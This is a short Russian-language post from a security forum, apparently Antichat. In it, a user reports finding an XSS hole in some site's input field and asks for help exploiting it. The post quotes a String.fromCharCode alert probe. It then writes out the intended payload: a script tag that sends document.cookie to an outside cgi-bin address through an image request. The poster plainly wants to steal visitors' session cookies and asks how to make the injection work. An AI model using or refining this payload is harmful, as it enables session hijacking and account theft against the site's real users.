ANTICHAT — форум по информационной безопасности, OSINT и технологиям

Господа. Помогите пожалуйста.
Долго и упорно искал XSS. И вот наконец результат.
Есть поле. Ввожу туда
";alert(String.fromCharCode(88,83,83))//></SCRIPT>!--<SCRIPT>alert(String.fromCharCode(88,84,83))
</SCRIPT>=&{}

пишет XTS - что соответствует 88,84,83.
Хотелось бы туда зарисовать след. текст

<script>img=new Image(); img.src="http://antichat.ru/cgi-bin/s.jpg?;"+document.cookie;</script>

Ну тут понятно что я хочу.
И если не трудно расскажите пожалуйста про этот формат String.fromCharCode.

Всем огромное спасибо.